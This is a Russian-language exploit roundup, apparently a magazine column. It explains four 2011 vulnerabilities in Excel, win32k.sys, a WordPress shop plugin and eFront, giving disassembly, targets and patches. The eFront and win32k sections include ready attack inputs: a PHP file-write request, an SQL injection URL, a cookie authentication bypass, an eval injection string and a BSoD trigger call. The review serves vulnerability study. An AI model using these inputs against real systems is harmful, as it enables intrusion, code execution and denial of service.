В конце октября – начале ноября появилось достаточно много новых интересных продуктов индустрии эксплоитостроения. К сожалению, рассказать обо всех достижениях современной науки и техники в рамках этого обзора не представляется возможным, поэтому мы, следуя студенческой пословице «Лучше пи на три в рукаве, чем неопределенный интеграл в небе», отобрали наиболее выделяющиеся сплоиты.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
 

1. Переполнение буфера в Microsoft Office 2007 Excel .xlb

CVSSV2 9.3 (AV:N/AC:M/AU:N/C:C/I:C/A:C)

BRIEF

Дата релиза: 5 ноября 2011 года. Автор: Aniway, abysssec, sinn3r, juan vazquez. CVE: CVE-2011-0105. В начале ноября в Сети появился эксплоит для уязвимости, которая проявляется при обработке специальным образом созданного xlb-файла Excel. В результате использования этой уязвимости атакующий получает ни много ни мало полный контроль над удаленной системой.

EXPLOIT

Excel позволяет создавать и настраивать панели для более удобного и эффективного использования различных инструментов, причем эти панели можно сохранять для повторного использования (например, на другом компьютере). Обычно такие панели инструментов имеют расширение xlb. Формат файла эксплоита соответствует спецификации BIFF8. Перечислим кратко некоторые положения этой спецификации, чтобы лучше понять суть работы эксплоита. BIFF-структура представляет собой идущие подряд записи:

BOF Type = workbook globals
Workbook globals
...
EOF
BOF Type = worksheet
Sheet records поток
EOF
BOF Type = worksheet
Sheet records поток
EOF
...

Все записи имеют следующий формат:

ID (два байта)
Размер данных, sz (два байта)
Данные (sz байт)

Первые четыре байта (ID и размер) — это заголовок записи. Записи могут группироваться в потоки. Ограничителями групп служат две специальные записи: BOF (Begin Of File) и EOF (End Of File). Нас интересует BOF, которая имеет следующий формат:

BOF, BIFF8
Смещ. Размер Значение Описание
- 2 0809H ID
- 2 0010H размер
00 2 0600H версия
02 2 ****H тип
04 2 ID создания
06 2 год создания
08 4 флаг истории файла
12 4 самая младшая версия Excel,
которая может читать записи
из этого файла
Типы BOF-записей:
0005H — Workbook globals
0006H — Visual Basic module
0010H — Worksheet
0020H — Chart
0040H — BIFF4 Macro sheet
0100H — BIFF4 Workbook globals

На практике за записью BOF может следовать недокументированная запись со значением типа 0xA7. Эта запись имеет смысл только в том случае, если за ней идет другая запись со значением типа 0x3C. При выполнении этих требований в стек копируется длина записей и происходит вызов функции sub_30199E55. Она принимает три аргумента. В первом аргументе содержится прочитанное из файла количество байт для копирования. Второй аргумент определяет адрес, куда копируются данные, а третий указывает максимальный объем данных, который может быть скопирован.

.text:3053F830 call sub_301A0A01
.text:3053F835 cmp eax, 3Ch
.text:3053F838 mov [ebp+var_ED4], eax
.text:3053F83E jnz loc_30540488
.text:3053F844 call sub_301A0A01
.text:3053F849 mov ecx, [ebp+var_EDC]
.text:3053F84F imul ecx, [ebp+var_F00]
.text:3053F856 mov edi, eax
.text:3053F858 mov eax, [ebp+var_EE0]
.text:3053F85E lea ebx, [ecx+eax+3]
.text:3053F862 call sub_301A0ABE
.text:3053F867 push 0FFFFFFFDh
.text:3053F869 pop edx
.text:3053F86A sub edx, ecx
.text:3053F86C add eax, edx
.text:3053F86E push eax ; Dst
.text:3053F86F push ebx ; int
.text:3053F870 mov eax, edi
.text:3053F872 call sub_30199E55

Проблема состоит в том, что в функции sub_30199E55 не осуществляется должная фильтрация третьего аргумента, тогда как пользователь может контролировать его значение. Это значит, что в стеке можно перезаписать объем и адрес нужных данных.

.text:30199E60 cmp edi, [esp+4+Dst]
.text:30199E64 ja loc_303EE1B7
.text:30199E6A mov ecx, [esp+4+arg_0]
.text:30199E6E push ebx
.text:30199E6F mov ebx, dword_30F726C0
.text:30199E75 push ebp
.text:30199E76 mov ebp, nNumberOfBytesToRead
.text:30199E7C push esi
.text:30199E7D mov [esp+10h+Dst], ecx
...
.text:30199E93 mov eax, [esp+10h+Dst]
.text:30199E97 push esi ; Size
.text:30199E98 lea edx, dword_30F6E6B8[ebx]
.text:30199E9E push edx ; Src
.text:30199E9F push eax ; Dst
.text:30199EA0 sub edi, esi
.text:30199EA2 call memcpy
.text:30199EA7 add [esp+1Ch+Dst], esi
.text:30199EAB add ebx, esi
.text:30199EAD add esp, 0Ch
.text:30199EB0 test edi, edi
.text:30199EB2 mov dword_30F726C0, ebx
.text:30199EB8 jnz loc_301E0DB3
Прыжок к началу полезной нагрузки
Прыжок к началу полезной нагрузки

Считается, что для уязвимостей типа переполнения буфера писать эксплоиты не сложно. Однако в данном случае одновременно используются защитные механизмы, включаемые флагами компилятора /GS и /SAFESEH. Напомню, что /GS — это флаг для компилятора MS Visual Studio, отвечающий за внедрение механизмов, которые защищают буфер в стеке от переполнения. Если компилятор считает, что для функции возможно переполнение буфера, то в процессе компиляции он выделяет для нее память в стеке перед возвращаемым адресом. При входе в функцию в выделенную память загружается объект безопасности cookie, который формируется один раз при загрузке модуля. При выходе из функции и при обработке кадров в обратном порядке в 64-разрядных операционных системах вызывается вспомогательная функция, которая проверяет, не изменилось ли значение объекта cookie. Если значение изменилось, то это может означать, что стек был перезаписан. При обнаружении измененного значения процесс завершается. /SAFESEH защищает установленные SEH-обработчики от перезаписи. Обработчик исключений представляет собой фрагмент кода, который выполняется в исключительных случаях, например при попытке деления на ноль. Адрес обработчика хранится в стеке функции, и поэтому его вполне можно повредить. Входящий в состав Visual Studio компоновщик поддерживает параметр /SAFESEH для сохранения во время компиляции списка допустимых обработчиков исключений в заголовке PE-образа. Если при выполнении возникает исключительная ситуация, операционная система проверяет правильность адреса обработчика по заголовку образа. Если адрес неправильный, работа приложения прерывается. Но так как мы имеем доступ к memcpy, то сможем переписать стек после всех проверок, включаемых флагом /GS. Когда управление вернется, в esp будет находиться контролируемое нами значение. Таким образом, мы сможем передать на него управление простым вызовом call esp.

TARGETS

Microsoft Office Excel 2007/Microsoft Office Excel 2007 SP2.

SOLUTION

Существует обновление, устраняющее эту уязвимость.

 

2. MS11-077 Win32k Null Pointer De-reference Vulnerability POC

CVSSV2 7.2 (AV:L/AC:L/Au:N/C:C/I:C/A:C)

BRIEF

Дата релиза: 23 октября 2011 года. Автор: KiDebug. CVE: CVE-2011-1985. Уязвимость находится в win32k.sys и заключается в том, что для некоторых сообщений переданное значение хэндла окна не проверяется. Это позволяет нам осуществить атаку типа «Отказ в обслуживании» от имени локального пользователя.

EXPLOIT

Возьмем для примера листинг одной из уязвимых функций:

.text:BF9140C0 ; __stdcall NtUserfnINCBOXSTRING(x,x,x,x,x,x,x)
.text:BF9140C0 _NtUserfnINCBOXSTRING@28 proc near
; CODE XREF: xxxDefWindowProc(x,x,x,x)+6E|p
.text:BF9140C0  ; NtUserMessageCall(x,x,x,x,x,x,x)+61|p ...
.text:BF9140C0
.text:BF9140C0 HWND = dword ptr 8
.text:BF9140C0 arg_4    = dword ptr 0Ch
.text:BF9140C0 arg_8    = dword ptr 10h
.text:BF9140C0 arg_C    = dword ptr 14h
.text:BF9140C0 arg_10   = dword ptr 18h
.text:BF9140C0 arg_14   = dword ptr 1Ch
.text:BF9140C0 arg_18   = dword ptr 20h
.text:BF9140C0
.text:BF9140C0  mov edi, edi
.text:BF9140C2  push ebp
.text:BF9140C3  mov ebp, esp
.text:BF9140C5  mov ecx, [ebp+HWND]
; Если HWND == 0xffffffff (-1), то
.text:BF9140C8  mov eax, [ecx+20h] ; BSOD
...

Функция NtUserMessageCall вызывает NtUserfnINCBOXSTRING по индексу, связанному с номером сообщения CB_ADDSTRING:

.text:BF80EE6B ; int __stdcall NtUserMessageCall(int,
int, int UnicodeString, PVOID Address, int, int, int)
...
.text:BF80EEB1  push [ebp+arg_18] ; int
.text:BF80EEB4  movzx eax, ds:_MessageTable[eax]
.text:BF80EEBB  push ecx ; int
.text:BF80EEBC  push [ebp+arg_10] ; int
.text:BF80EEBF  and eax, 3Fh
.text:BF80EEC2  push [ebp+Address] ; Address
.text:BF80EEC5  push [ebp+UnicodeString] ; int
.text:BF80EEC8  push [ebp+arg_4] ; int
.text:BF80EECB  push esi ; int
.text:BF80EECC  call ds:_gapfnMessageCall[eax*4]
; NtUserfnINSTRINGNULL(x,x,x,x,x,x,x)
...

.rdata:BF990D68 _gapfnMessageCall dd offset _NtUserfnNCDESTROY@28
.rdata:BF990D68 ; DATA XREF: NtUserMessageCall(x,x,x,x,x,x,x)
.rdata:BF990D68 ; NtUserfnNCDESTROY(x,x,x,x,x,x,x)
.rdata:BF990D6C dd offset _NtUserfnNCDESTROY@28
; NtUserfnNCDESTROY(x,x,x,x,x,x,x)
.rdata:BF990D70 dd offset _NtUserfnINLPCREATESTRUCT@28
; NtUserfnINLPCREATESTRUCT(x,x,x,x,x,x,x)
...
.rdata:BF990DD4 dd offset _NtUserfnINCBOXSTRING@28
; NtUserfnINCBOXSTRING(x,x,x,x,x,x,x)
...

Для того чтобы успешно проэксплуатировать эту уязвимость, необходимо выполнить функцию

SendMessageCallback((HWND)-1,CB_ADDSTRING,0,0,0,0);

или

SendNotifyMessage((HWND)-1,CB_ADDSTRING,0,0);

В заключение перечислим все сообщения, использование которых в приведенном выше коде дает аналогичный результат — BSoD:

CB_ADDSTRING 0x0143
CB_INSERTSTRING 0x014A
CB_FINDSTRING 0x014C
CB_SELECTSTRING 0x014D
CB_FINDSTRINGEXACT 0x0158
LB_ADDSTRING 0x0180
LB_INSERTSTRING 0x0181
LB_SELECTSTRING 0x018C
LB_FINDSTRING 0x018F
LB_FINDSTRINGEXACT 0x01A2
LB_INSERTSTRINGUPPER 0x01AA
LB_INSERTSTRINGLOWER 0x01AB
LB_ADDSTRINGUPPER 0x01AC
LB_ADDSTRINGLOWER 0x01AD

TARGETS

Windows XP SP3/XP SP2 x64, Windows 2003 Server SP2 (+ itanium,x64), Windows Vista SP2/SP2 x64, Windows Server 2008 SP2 x32/x64/itanium, Windows 7 x32/x64, Windows 7 SP1 x32/x64, Windows Server 2008 r2 x64/itanium, r2 sp1 x64/itanium.

SOLUTION

Существует обновление для MS11-077, устраняющее эту уязвимость.

 

3. Удаленное выполнение кода в WordPress Zingiri Web Shop Plugin

CVSSV2 7.5 20142.jpg (:N/AC:L/Au:N/C:P/I:P/A:P)

BRIEF

WordPress уже давно вышел за рамки простой платформы для ведения блогов. Теперь к нему можно прикрутить немыслимое количество плагинов, вплоть до тех, которые отвечают за внедрение электронной коммерции. Сегодня нашим подопытным стал один из таких плагинов — плагин для создания онлайн-магазина, — что еще раз доказывает беспечность некоторых программистов при разработке продуктов, на которые в первую очередь падает взор людей в черных шляпах. Уязвимость обнаружил исследователь Egidio Romano aka EgiX в конце октября. Хороший мальчик EgiX отправил разработчикам отчет о баге и только 13 ноября, после выхода исправленной версии, обнародовал подробную информацию об уязвимости.

EXPLOIT

Интересующий нас код содержится в функции /fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_save_name.php, строчки 37–56 представлены на соответствующем рисунке. Здесь мы можем повлиять на значение массива $selectedDocuments через POST-параметр value. Затем нужно отобразить содержимое $selectedDocuments с помощью функции displayArray() и вызвать функцию writeInfo(), использующую содержимое буфера, где находится $selectedDocuments. Рассмотрим функцию writeInfo(), находящуюся по адресу /fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_create_folder.php:

Фрагмент файла ajax_save_name.php
Фрагмент файла ajax_save_name.php
function writeInfo($data, $die = false)
{
$fp = @fopen(dirname(__FILE__) .
DIRECTORY_SEPARATOR . 'data.php', 'w+');
@fwrite($fp, $data);
@fwrite($fp, "\n\n" . date('d/M/Y H:i:s') );
@fclose($fp);
...

О да! Она записывает переданные ей данные в файл data.php, что позволяет атакующему исполнить произвольный код на уязвимой системе с привилегиями веб-сервера. Эксплоит для этого бага доступен на exploit-db.com (EDB-ID: 18111). Он написан на PHP, поэтому для его использования необходимо установить интерпретатор языка PHP. Для винды тебе придется скачивать инсталлер с официального сайта, а для линуксов достаточно одной команды пакетного менеджера, например:

// для Arch Linux
# pacman -S php
// для Debian-based
# apt-get install php

Использовать эксплоит достаточно просто:

$ php 18111.php <host> <path>

Здесь — наименование хоста, — путь к WordPress. Стоит отметить, что такой же баг присутствует в аналоге этого плагина для Joomla!, но там он не эксплуатабелен из-за неподходящего значения переменной CONFIG_SYS_ROOT_PATH.

TARGETS

WordPress Zingiri Web Shop Plugin от 0.9.12 до 2.2.3.

SOLUTION

Обновиться до версии 2.2.4 или более поздней.

 

4. Множественные уязвимости в eFront

CVSSV2 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)

 

BRIEF

В конце октября исследователь под ником EgiX опубликовал информацию о целой пачке уязвимостей в популярном за рубежом корпоративном продукте eFront. Этот продукт интересен хотя бы просто потому, что на его примере можно рассмотреть большинство широко распространенных в настоящее время уязвимостей в веб-приложениях и понять, как не надо программировать.

 

EXPLOIT

  1. Удаленное выполнение кода. Бажный код содержится в файле /www/editor/tiny_mce/plugins/save_template/save_template.php (строки 8–18):
    if ($_POST['templateName']) { 
    $dir = '../../../../content/editor_templates/'. 
    $_SESSION['s_login']; 
    if (!is_dir($dir) && !mkdir($dir, 0755)) { 
    throw new Exception(_COULDNOTCREATEDIRECTORY); } 
    $filename = $dir.'/'.$_POST['templateName'].'.html'; 
    $templateContent = $_POST['templateContent']; 
    if(file_exists($filename) === false) { 
    $ok = file_put_contents($filename, 
    $templateContent); 
    chmod($filename, 0644);

    Данные пользователя, передаваемые в функцию file_put_contents() через параметры $_POST['templateName'] и $_POST['templateContent'], никак не фильтруются. Таким образом, атакующий, который имеет аккаунт в системе, может записать произвольный код в файл с расширением php, если включена директива magic_quotes_gpc. Запрос, эксплутирующий эту уязвимость, выглядит так:

    POST /efront/www/editor/tiny_mce/plugins/
    save_template/save_template.php HTTP/1.1
    Host: localhost
    Content-Length: 60
    Content-Type: application/x-www-form-urlencoded
    Connection: keep-alive
    templateName=sh.php%00&templateContent=
    <?php evil_code(); ?>
    
  2. Загрузка произвольных файлов. Уязвимый код содержится в функции checkFile(), которая находится в файле /libraries/filesystem.class.php, строки 3143–3154 представлены на соответствующем рисунке. Метод FileSystemTree::uploadFile(), отвечающий за загрузку всех файлов, использует checkFile() для проверки расширения загружаемого файла. Она, в свою очередь, сравнивает расширение с элементами черного списка file_black_list, в число которых по умолчанию входят php, php3, jsp, asp, cgi, pl, exe, com, bat. Благодаря этому атакующий может запросто загрузить аватар с расширением php.

    Код функции CheckFile()
    Код функции CheckFile()
  3. SQL-инъекция через оператор UPDATE. Рассмотрим код функции getUserTimeTarget(), которая находится в /libraries/tools.php: он представлен на соответствующей картинке. Эта функция парсит переданную ей ссылку и, если находит параметр package_ID, использует её значение как индекс в массиве $entity. Чтобы понять суть проблемы, заглянем в код /www/periodic_updater.php:
    Код функции GetUserTimeTarget()
    Код функции GetUserTimeTarget()
    
    if ($_SESSION['s_login']) {
     $entity = getUserTimeTarget($_GET['HTTP_REFERER']);
     //$entity = $_SESSION['s_time_target'];
     //Update times for this entity
     $result = eF_executeNew("update user_times set time=time+("
      .time().
       "-timestamp_now),timestamp_now="
      .time().
      "where session_expired = 0 and session_custom_identifier = '".
      $_SESSION['s_custom_identifier'].
      "' and users_LOGIN = '".
      $_SESSION['s_login'].
      "' and entity = '".
      current($entity).
      "'and entity_id = '".
      key($entity).
      "'");

    Данные, содержащиеся в $_GET['HTTP_REFERER'], передаются в функцию getUserTimeTarget(), а возвращаемое значение используется при последующем вызове функции eF_executeNew(). Таким образом, для внедрения произвольного SQL-выражения атакующий может запросить URL следующего вида:

    http://localhost/efront/www/periodic_updater.php?
    HTTP_REFERER=http://host/?package_ID=[SQL]
    

    В последних версиях продукта данные берутся из переменной $_SERVER['HTTP_REFERER'], что, в общем-то, никак не влияет на баг. Для успешной реализации атаки необходимо иметь аккаунт в системе.

  4. Обход аутентификации и повышение привилегий. Уязвимый код находится в /www/index.php:
    
    if (isset($_COOKIE['cookie_login']) 
      && isset($_COOKIE['cookie_password'])) 
    {
      try {
        $user = EfrontUserFactory :: factory(
           $_COOKIE['cookie_login']);
        $user -> login($_COOKIE['cookie_password'], true);
    

    Данные в $_COOKIE['cookie_login'], используемые для создания нового объекта с помощью метода EfrontUserFactory::factory(), не фильтруются, благодаря чему можно обойти аутентификацию и повысить привилегии:

    GET /efront/www/index.php HTTP/1.1
    Host: localhost
    Cookie: cookie_login=admin;cookie_login=1;cookie_login=administrator;cookie_login=1;cookie_password=1
    Connection: keep-alive
    
  5. Внедрение произвольного PHP-кода. Уязвимый кусок кода находится в /www/student.php:
    
    if (isset($_GET['course']) || 
       isset($_GET['from_course'])) 
    {
       if ($_GET['course']) 
       {
            $course = new EfrontCourse($_GET['course']);
        } else {
            $course = new EfrontCourse($_GET['from_course']);
        }
        $eligibility = $course -> checkRules(
           $_SESSION['s_login']);
    

    Данные, находящиеся в $_GET['course'] или $_GET['from_course'], не фильтруются перед созданием нового объекта EfrontCourse, что позволяет выполнить код, так как в процессе создания объекта вызывается функция eval():

    /student.php?lessons_ID=1&course[id]=1&course
    [directions_ID]=1&course[rules]=a:1:{s:19:"1];
    phpinfo();die;/*";a:1:{s:6:"lesson";i:0;}}
    

TARGETS

eFront <= 3.6.10 (build 11944).

SOLUTION

Обновиться до более поздней версии.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии